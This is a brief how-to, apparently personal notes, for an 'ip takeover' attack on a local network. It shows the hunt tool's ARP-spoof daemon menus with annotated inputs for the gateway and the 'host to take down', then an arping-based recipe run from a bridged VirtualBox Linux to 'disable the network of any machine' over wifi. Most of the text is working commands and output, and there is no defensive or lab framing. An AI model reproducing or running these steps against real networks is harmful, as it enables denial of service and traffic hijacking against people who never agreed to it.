ip takeover attack with hunt to arp spoof

$ sudo apt-get install hunt


$ sudo hunt
/*
 * hunt 1.5
 * multipurpose connection intruder / sniffer for Linux
 * (c) 1998-2000 by kra
 */
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
-> d
--- daemons --- rcvpkt 148, free/alloc 63/64 ------
r) reset daemon
a) arp spoof + arp relayer daemon
s) sniff daemon
m) mac discovery daemon
x) return
-dm> a
--- arpspoof daemon --- rcvpkt 250, free/alloc 63/64 ------
s/k) start/stop relayer daemon
l/L) list arp spoof database
a)   add host to host arp spoof     i/I) insert single/range arp spoof
d)   delete host to host arp spoof  r/R) remove single/range arp spoof
t/T) test if arp spoof successed    y) relay database
x)   return
-arps> i
host to spoof> 10.1.1.253  # DEFAULT GATEWAY IP ADDRESS
fake mac [EA:1A:DE:AD:BE:01]>   # RANDOM MAC ADDR, DEFAULT OK
target - where to insert the spoof> 10.1.1.48  # IP OF HOST TO TAKE DOWN
refresh interval sec [0]> 1
ARP spoof of 10.1.1.253 with fake mac EA:1A:DE:AD:BE:01 in host 10.1.1.48 FAILED
do you want to force arp spoof until successed y/n [y]> y
CTRL-C to break
....^C

ip takeover attack with arping to arp spoof

Disable the network of any machine from windows via wifi

1. install VirtualBox
2. install linux distro of choise in the virtual box as long as it has arping (ubuntu)
3. switch virtualbox network adapter into Host Interface mode
4. in windows Network Connections select VirtualBox Host Interface 1 and Wireless Network Connection, right click and choose bridge
5. in the linux that is running in virtualbox change the ip address to the attacked machine ip address and ping it with arping :

sudo ifconfig eth0 192.168.0.10 netmask 255.255.255.0
sudo arping -U -c 3 -I eth0 192.168.0.10
sudo arping -A -c 3 -I eth0 192.168.0.10

The attacked machine network should be disconnected

(iputils/arping source : http://www.skbuff.net/iputils/)